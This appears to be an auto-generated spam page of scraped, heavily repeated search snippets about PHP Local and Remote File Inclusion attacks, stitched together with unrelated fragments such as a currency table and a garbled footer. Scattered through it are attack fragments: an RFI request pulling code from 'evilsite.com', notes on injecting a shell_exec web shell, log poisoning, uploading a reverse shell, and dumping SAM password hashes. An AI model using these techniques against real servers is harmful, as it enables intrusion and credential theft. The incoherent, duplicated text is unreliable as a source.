Lfixx.php

Jul 20, 2021 · Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server. LFI attacks can expose sensitive information, and in ... The file "evil-RCE-code.php" may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute his PHP code using the following request: http://testsite.com/?page=http://evilsite.com/evil-RCE-code.php Sep 30, 2022 · Local File Inclusion (LFI) A File Inclusion Vulnerability is a type of Vulnerability commonly found in PHP based websites and it is used to affect the web applications. This issue generally occurs when an application is trying to get some information from a particular server where the inputs for getting a particular file location are not ... Feb 20, 2017 · Open a terminal in your Kali Linux and connect the target through SSH service. ssh [email protected]. From the screenshot, you can see I am connected with the target system. Type following command to view its logs: tail -f /var/log/auth.log. From given below image you can check the details of generated logs for the auth.log file. Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted. In Windows the files are usually stored in C:\Windows\temp\php<<. In linux the name of the file use to be random and located in /tmp. Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted. In Windows the files are usually stored in C:\Windows\temp\php<<. In linux the name of the file use to be random and located in /tmp. Apr 29, 2018 · Here's a bug listing for PHP and there are multiple articles and resources specifically mentioning the null byte bypass in LFI being restricted to before PHP 5.4: Offensive Security's File Inclusion Vuln -- In versions of PHP below 5.3, ending the URL with a null byte (%00) would cause the interpreter to stop reading, which would allow the ... Oct 30, 2019 · Credits. Certain versions of PHP 7 running on NGINX with php-fpm enabled can be vulnerable to the remote code execution vulnerability CVE-2019-11043. Given the simplicity of the exploit, all web servers using the vulnerable version of PHP should be upgraded to non-vulnerable PHP versions as soon as possible. Because the vulnerability is limited ... Aug 20, 2023 · php; 0.01 lfi 0.00034805 php 0.1 lfi 0.00348051 php 1 lfi 0.03480506 php 2 lfi 0.069610 php 5 lfi 0.174025 php 10 lfi 0.348051 php 20 lfi 0.696101 php 50 lfi 1.74 php 100 lfi 3.48 php 1000 lfi 34.81 php Aug 7, 2020 · The following is the PHP code we will inject. This is how it works for those who do not know much PHP: shell_exec: This function will execute a command given to it. GET ['cmd']: This works the same as the 'view' and 'ext' parameters but instead we will give it a command instead of file. Sep 24, 2020 · The documentation states the following: php://fd allows direct access to the given file descriptor. For example, php://fd/3 refers to file descriptor 3. In my head, this means that the php://fd wrapper provides access to the underlying file descriptors as understood within the context of the process to the operating system. E.g., I would expect ... Jan 18, 2022 · These local files may contain sensitive information like cryptographic keys, databases which contains passwords and other confidential information. An LFI vulnerability can be found in many web applications. For example, in PHP, this vulnerability is caused by the following functions. An LFI vulnerability occurs due to the developer’s lack of ... Barb’hack 2022: Leveraging PHP Local File Inclusion to achieve universal RCE. For the third consecutive time, the French city of Toulon hosted the French southernmost hacking event known as Barb’hack. We – two of Wavestone security auditors – have had the opportunity to attend the conference and participate in the Capture-the-Flag (CTF ... Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted. In Windows the files are usually stored in C:\Windows\temp\php<<. In linux the name of the file use to be random and located in /tmp. Feb 22, 2010 · 23 Responses to Exploiting PHP File Inclusion – Overview. nice list of inclusion methods. For the local file inclusion you can also use the php://filter method. This usually works when php://input doesn’t. It’s used like this: It’s a nice trick to for example audit the source code to find other more promising bugs. Jul 3, 2020 · Local File Inclusion (LFI) Local file inclusion is the vulnerability in which an attacker tries to trick the web-application by including the files that are already present locally into the server. It arises when a php file contains some php functions such as “include”, “include_once”, “require”, “require_once”. LFI With PHPInfo() Assistance WHITEPAPER 7 September 2011 Page 4 of 6 Winning The Race As outlined on the first page, the temporary uploaded file only exists while the PHP processor is operating on Apr 7, 2014 · Local File Inclusion to Remote Code Execution. Local File Inclusion To Remote Command Execution [LFI <> RCE] By Sharath Unni ; Introduction What is a file inclusion vulnerability? How the attack works? RFI/LFI vulnerable PHP functions Traverse and read local files PathTraversal / FI using scanners Reverse shell via LFI Other ways to inject your code Defending yourself 3. base64-decode and base64-encode the string which will remove any garbage in between. 4. Go back to 1 if the base64 we want to construct isn't finished yet. 5. base64-decode to get our php code. Includes usually do things like appending ".php" at the end of the file, which could diffecult the exploitation of this because you would need to ... Jan 15, 2023 · A Local File Intrusion (LFI) attack happens when attackers exploit vulnerabilities in how a web server stores, serves, validates, or controls access to its files. This vulnerability is common to PHP-based websites. Unlike many forms of cyberattacks where attackers rely on malware to corrupt an application, attackers in LFIs mostly rely on ... Apr 24, 2020 · Here i can able to access the “access_log”. Step 6: Now, we have to search for “ v0pcr3w” (Web Shell Remote Code Execution) word in “access_log”. In my case their is no word like “ v0pcr3w” was found in “access_log”. So, now we have to inject the “access_log”. So below is the Perl script which is use to inject the access ... Jun 5, 2017 · Local File Inclusion (LFI) allows an attacker to include files on a server through the web browser. This vulnerability exists when a web application includes a file without correctly sanitising the input, allowing and attacker to manipulate the input and inject path traversal characters and include other files from the web server. PHP Vulnerable Functions. Let’s take a look at the very common class of functions which when used insecurely result in a remote code execution. Any untrusted input passed through one of these functions without sanitization would result in an arbitrary code being executed. eval () , system (), exec (), shell_exec () The first fair case I would ... Mar 16, 2018 · At the same time, the remote file will execute on the remote server, so we want it to execute some PHP code that will display another PHP code. Jun 5, 2017 · Local File Inclusion (LFI) allows an attacker to include files on a server through the web browser. This vulnerability exists when a web application includes a file without correctly sanitising the input, allowing and attacker to manipulate the input and inject path traversal characters and include other files from the web server. The PHP language has a directive which, if enabled, allows filesystem functions to use a URL to retrieve data from remote locations. The directive is allow_url_fopen in PHP versions <= 4.3.4 and allow_url_include since PHP 5.2.0. In PHP 5.x this directive is disabled by default, in prior versions it was enabled by default. In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle. As sumary, the technique is using the "UCS-4LE" encoding to make the content of a file so big that the PHP function opening the file will trigger an error. 3. base64-decode and base64-encode the string which will remove any garbage in between. 4. Go back to 1 if the base64 we want to construct isn't finished yet. 5. base64-decode to get our php code. Includes usually do things like appending ".php" at the end of the file, which could diffecult the exploitation of this because you would need to ... Feb 27, 2022 · Below are a collection of Windows and Linux reverse shells that use commonly installed programming languages PHP, Python, Powershell, nc (Netcat), JSP, Java, Bash, PowerShell (PS). At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux. If you found this resource usefull you should also check out our ... Jun 5, 2013 · Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion. CVE-94101 . webapps exploit for PHP platform Nov 27, 2020 · RFI/LFI Payload List. As with many exploits, remote and local file inclusions are only a problem at the end of the encoding. Of course, it takes a second person to have it. Now, this article will hopefully give you an idea of protecting your website and most importantly your code from a file inclusion exploit. Sep 14, 2022 · PHP Wrapper php://filter . To be able to view source code .php of web application, because the file is encoded, causing browser to not execute the .php file allowing us to view it in base64. Sep 14, 2022 · PHP Wrapper php://filter . To be able to view source code .php of web application, because the file is encoded, causing browser to not execute the .php file allowing us to view it in base64. Apr 25, 2019 · 10.PHP wrapper. There are some PHP wrappers which can access different Input/output or data streams via the PHP daemon and can lead to a direct execution of instructions. (if allow_url_include is enabled) For example php://filter is a kind of meta-wrapper, can be used to read the content of PHP file. Feb 27, 2022 · Below are a collection of Windows and Linux reverse shells that use commonly installed programming languages PHP, Python, Powershell, nc (Netcat), JSP, Java, Bash, PowerShell (PS). At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux. If you found this resource usefull you should also check out our ... Apr 24, 2020 · Here i can able to access the “access_log”. Step 6: Now, we have to search for “ v0pcr3w” (Web Shell Remote Code Execution) word in “access_log”. In my case their is no word like “ v0pcr3w” was found in “access_log”. So, now we have to inject the “access_log”. So below is the Perl script which is use to inject the access ... Local file inclusion (LFI) is a web vulnerability that lets a malicious hacker access, view, and/or include files located in the web server file system within the document root folder. Severity: severe. Prevalence: discovered rarely. Scope: appears only in web-related software. Technical impact: In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle. As sumary, the technique is using the "UCS-4LE" encoding to make the content of a file so big that the PHP function opening the file will trigger an error. Dec 4, 2020 · The Null Byte Injection exploitation requires PHP 5.3. Later than that, this vulnerability is patched and can not be used again. But just for a knowledge, null byte injection is we supply the null character to PHP string in order to control the string terminator. As we know, PHP is built on C, which treats a string as an array of character. Local File Include. Une faille de type Local File Include (LFI) consiste à inclure un fichier local à partir d’une entrée utilisateur. Dans certains cas ceci permet d’accéder à des fichiers non situés dans le webroot voire d’executer du code. Mar 16, 2018 · At the same time, the remote file will execute on the remote server, so we want it to execute some PHP code that will display another PHP code. Local File Inclusion (LFI) allows an attacker to include files on a server through the web browser. This vulnerability exists when a web application includes a file without correctly sanitising the input, allowing and attacker to manipulate the input and inject path traversal characters and include other files from the web server. Nov 2, 2021 · Local File Includes (LFI) is an easy way for an attacker to view files on a server that were not meant to be viewed or retrieved. Through either a mis-configured setting on the server code or bad programming a would-be attacker can potentially view local Operating System files in the current web-page. We previously covered Exploiting Local File ... PHP Vulnerable Functions. Let’s take a look at the very common class of functions which when used insecurely result in a remote code execution. Any untrusted input passed through one of these functions without sanitization would result in an arbitrary code being executed. eval () , system (), exec (), shell_exec () The first fair case I would ... Mar 10, 2023 · File inclusion vulnerabilities, including Remote File Inclusion (RFI) and Local File Inclusion (LFI) are most commonly found in web applications running PHP scripts. Here examples of what NOT to do, and the best way to improve your application security in order to prevent this type of hack. Mar 10, 2023 · File inclusion vulnerabilities, including Remote File Inclusion (RFI) and Local File Inclusion (LFI) are most commonly found in web applications running PHP scripts. Here examples of what NOT to do, and the best way to improve your application security in order to prevent this type of hack. Sep 24, 2020 · The documentation states the following: php://fd allows direct access to the given file descriptor. For example, php://fd/3 refers to file descriptor 3. In my head, this means that the php://fd wrapper provides access to the underlying file descriptors as understood within the context of the process to the operating system. E.g., I would expect ... {"payload":{"allShortcutsEnabled":false,"fileTree":{"Fuzzing/LFI":{"items":[{"name":"LFI-Jhaddix.txt","path":"Fuzzing/LFI/LFI-Jhaddix.txt","contentType":"file ... The file "evil-RCE-code.php" may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute his PHP code using the following request: http://testsite.com/?page=http://evilsite.com/evil-RCE-code.php Jul 20, 2021 · Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server. LFI attacks can expose sensitive information, and in ... PHP Session Locations. c:\WINDOWS\TEMP\ c:\php\sessions\ c:\php5\sessions\ c:\php4\sessions\ Retrieving password hashes. In order to retrieve the systems password hashed we need two files: system and SAM. Once you have those two files you can extract the hased using the kali tool pwdump, like this: pwdump systemfile samfile Mar 11, 2019 · An attacker can use Local File Inclusion (LFI) to trick the web application into exposing or running files on the web server. An LFI attack may lead to information disclosure, remote code execution, or even Cross-site Scripting (XSS). Typically, LFI occurs when an application uses the path to a file as input. PHP Session Locations. c:\WINDOWS\TEMP\ c:\php\sessions\ c:\php5\sessions\ c:\php4\sessions\ Retrieving password hashes. In order to retrieve the systems password hashed we need two files: system and SAM. Once you have those two files you can extract the hased using the kali tool pwdump, like this: pwdump systemfile samfile Jul 3, 2020 · Local File Inclusion (LFI) Local file inclusion is the vulnerability in which an attacker tries to trick the web-application by including the files that are already present locally into the server. It arises when a php file contains some php functions such as “include”, “include_once”, “require”, “require_once”. Nov 19, 2019 · Now if no one has cleared the input in the $ page variable, we can have it pointed to what we want. If hosted on a unix / linux server, we can display the password as configuration files for shaded or uncleaned variable input. Viewing files on the server is a “Local File Inclusion” or LFI exploit. This is no worse than an RFI exploit. The file "evil-RCE-code.php" may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute his PHP code using the following request: http://testsite.com/?page=http://evilsite.com/evil-RCE-code.php Jul 3, 2022 · PHP Stream Wrappers # PHP provides many built-in wrappers for various protocols, to use with file functions such as fopen, copy, file_exists, and filezise. 5. php://filter # php://filter is a kind of meta-wrapper that allows filtering a stream before the content is read. The resulting data is the encoded version of the given file’s source code. Jun 22, 2021 · File Inclusion vulnerabilities often affect web applications that rely on a scripting run time, and occur when a web application allows users to submit input into files or upload files to the server. They are often found in poorly-written applications. File Inclusion vulnerabilities allow an attacker to read and sometimes execute files on the ... Jul 3, 2022 · PHP Stream Wrappers # PHP provides many built-in wrappers for various protocols, to use with file functions such as fopen, copy, file_exists, and filezise. 5. php://filter # php://filter is a kind of meta-wrapper that allows filtering a stream before the content is read. The resulting data is the encoded version of the given file’s source code. Jul 9, 2021 · Whatsapp Media Server. LFI Attack Examples. LFI Attack Example 1: Including files to be parsed by the language’s interpreter. LFI Attack Example 2: Including files that are printed to a page. LFI Attack Example 3: Including files that are served as downloads. Preventing LFI Attacks. Detecting LFI vulnerabilities with Bright. PHP Session Locations. c:\WINDOWS\TEMP\ c:\php\sessions\ c:\php5\sessions\ c:\php4\sessions\ Retrieving password hashes. In order to retrieve the systems password hashed we need two files: system and SAM. Once you have those two files you can extract the hased using the kali tool pwdump, like this: pwdump systemfile samfile Aug 15, 2018 · The following python script used in order to automate the exploitation of the LFI vulnerability. More specifically the script uploads the php uploader on the server and then also uploads the rev.php file. Finally, it opens a multi/handler in order to handle connections. Aug 7, 2020 · The following is the PHP code we will inject. This is how it works for those who do not know much PHP: shell_exec: This function will execute a command given to it. GET ['cmd']: This works the same as the 'view' and 'ext' parameters but instead we will give it a command instead of file. Barb’hack 2022: Leveraging PHP Local File Inclusion to achieve universal RCE. For the third consecutive time, the French city of Toulon hosted the French southernmost hacking event known as Barb’hack. We – two of Wavestone security auditors – have had the opportunity to attend the conference and participate in the Capture-the-Flag (CTF ... The PHP language has a directive which, if enabled, allows filesystem functions to use a URL to retrieve data from remote locations. The directive is allow_url_fopen in PHP versions <= 4.3.4 and allow_url_include since PHP 5.2.0. In PHP 5.x this directive is disabled by default, in prior versions it was enabled by default. Barb’hack 2022: Leveraging PHP Local File Inclusion to achieve universal RCE. For the third consecutive time, the French city of Toulon hosted the French southernmost hacking event known as Barb’hack. We – two of Wavestone security auditors – have had the opportunity to attend the conference and participate in the Capture-the-Flag (CTF ... In PHP file inclusion vulnerabilities, when we cannot find a valid file to include for triggering RCE, we might be able to include a temporary file to exploit it if there exists PHPINFO which can tell us the randomly generated filename of the temporary file and its location. . Reference: Remote File Inclusion – RFI. Remote File Inclusion (RFI) is a technique to include remote files and into a vulnerable application. Like LFI, the RFI occurs when improperly sanitizing user input, allowing an attacker to inject an external URL into include function. One requirement for RFI is that the allow_url_fopen option needs to be on. Barb’hack 2022: Leveraging PHP Local File Inclusion to achieve universal RCE. For the third consecutive time, the French city of Toulon hosted the French southernmost hacking event known as Barb’hack. We – two of Wavestone security auditors – have had the opportunity to attend the conference and participate in the Capture-the-Flag (CTF ... Oct 2, 2018 · A vulnerable Web Application upload feature combined with a Local File Inclusion might lead to a Remote Code Execution. An attacker who manages to upload data on the server – like image upload, specific document type file upload, etc. – could use a Local File Inclusion vulnerability to execute arbitrary commands remotely. Jun 5, 2017 · Local File Inclusion (LFI) allows an attacker to include files on a server through the web browser. This vulnerability exists when a web application includes a file without correctly sanitising the input, allowing and attacker to manipulate the input and inject path traversal characters and include other files from the web server. Jan 18, 2022 · These local files may contain sensitive information like cryptographic keys, databases which contains passwords and other confidential information. An LFI vulnerability can be found in many web applications. For example, in PHP, this vulnerability is caused by the following functions. An LFI vulnerability occurs due to the developer’s lack of ... Jan 18, 2022 · These local files may contain sensitive information like cryptographic keys, databases which contains passwords and other confidential information. An LFI vulnerability can be found in many web applications. For example, in PHP, this vulnerability is caused by the following functions. An LFI vulnerability occurs due to the developer’s lack of ... Local File Inclusion (LFI) Local file inclusion means unauthorized access to files on the system. This vulnerability lets the attacker gain access to sensitive files on the server, and it might also lead to gaining a shell. Arreglar vulnerabilidad LFI. A pesar de que esta es una vulnerabilidad bastante peligrosa no quiere decir que no se pueda mitigar, algunas maneras de arreglarlo son las siguientes: 1. Cambiando el codigo PHP. Teniendo el código de esta manera nos aseguramos cerrar una posible puerta de entrada a un ataque LFI. 2. Mar 10, 2023 · File inclusion vulnerabilities, including Remote File Inclusion (RFI) and Local File Inclusion (LFI) are most commonly found in web applications running PHP scripts. Here examples of what NOT to do, and the best way to improve your application security in order to prevent this type of hack. The file "evil-RCE-code.php" may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute his PHP code using the following request: http://testsite.com/?page=http://evilsite.com/evil-RCE-code.php PHP Session Locations. c:\WINDOWS\TEMP\ c:\php\sessions\ c:\php5\sessions\ c:\php4\sessions\ Retrieving password hashes. In order to retrieve the systems password hashed we need two files: system and SAM. Once you have those two files you can extract the hased using the kali tool pwdump, like this: pwdump systemfile samfile Another very interesting method of local file inclusion is to use the “php://filter” function. A “php://filter” allows a pen tester to include local files and then let the base64 function encode the output. Therefore, any base64 output then needs to be decoded to reveal the contents. Dec 13, 2021 · Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server. LFI attacks can expose sensitive information, and in severe cases, they can lead to cross-site scripting (XSS) and remote code execution. LFI is listed as one of the OWASP Top 10 web application ... PHP Session Locations. c:\WINDOWS\TEMP\ c:\php\sessions\ c:\php5\sessions\ c:\php4\sessions\ Retrieving password hashes. In order to retrieve the systems password hashed we need two files: system and SAM. Once you have those two files you can extract the hased using the kali tool pwdump, like this: pwdump systemfile samfile Mar 25, 2020 · It gets included. As we can see the file sqlspell.php was included and printed “PoC” string. This is because we wrote it within the file for the purposes of this demonstration. File gets ... In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle. As sumary, the technique is using the "UCS-4LE" encoding to make the content of a file so big that the PHP function opening the file will trigger an error. The file "evil-RCE-code.php" may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute his PHP code using the following request: http://testsite.com/?page=http://evilsite.com/evil-RCE-code.php Aug 20, 2023 · php; 0.01 lfi 0.00034805 php 0.1 lfi 0.00348051 php 1 lfi 0.03480506 php 2 lfi 0.069610 php 5 lfi 0.174025 php 10 lfi 0.348051 php 20 lfi 0.696101 php 50 lfi 1.74 php 100 lfi 3.48 php 1000 lfi 34.81 php Oct 2, 2018 · A vulnerable Web Application upload feature combined with a Local File Inclusion might lead to a Remote Code Execution. An attacker who manages to upload data on the server – like image upload, specific document type file upload, etc. – could use a Local File Inclusion vulnerability to execute arbitrary commands remotely. Summary. The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as outputting the contents of the file, but ... Jun 5, 2017 · Local File Inclusion (LFI) allows an attacker to include files on a server through the web browser. This vulnerability exists when a web application includes a file without correctly sanitising the input, allowing and attacker to manipulate the input and inject path traversal characters and include other files from the web server. Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted. In Windows the files are usually stored in C:\Windows\temp\php<<. In linux the name of the file use to be random and located in /tmp. Local File Inclusion (LFI) Local file inclusion means unauthorized access to files on the system. This vulnerability lets the attacker gain access to sensitive files on the server, and it might also lead to gaining a shell. The PHP language has a directive which, if enabled, allows filesystem functions to use a URL to retrieve data from remote locations. The directive is allow_url_fopen in PHP versions <= 4.3.4 and allow_url_include since PHP 5.2.0. In PHP 5.x this directive is disabled by default, in prior versions it was enabled by default. Local file inclusion (LFI) is a web vulnerability that lets a malicious hacker access, view, and/or include files located in the web server file system within the document root folder. Severity: severe. Prevalence: discovered rarely. Scope: appears only in web-related software. Technical impact: Local file inclusion (LFI) is a web vulnerability that lets a malicious hacker access, view, and/or include files located in the web server file system within the document root folder. Severity: severe. Prevalence: discovered rarely. Scope: appears only in web-related software. Technical impact: The file "evil-RCE-code.php" may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute his PHP code using the following request: http://testsite.com/?page=http://evilsite.com/evil-RCE-code.php Aug 18, 2014 · Stack Overflow Public questions & answers; Stack Overflow for Teams Where developers & technologists share private knowledge with coworkers; Talent Build your employer brand Local file inclusion (LFI) is a web vulnerability that lets a malicious hacker access, view, and/or include files located in the web server file system within the document root folder. Severity: severe. Prevalence: discovered rarely. Scope: appears only in web-related software. Technical impact: | Coegrgvs (article) | Mojuqin.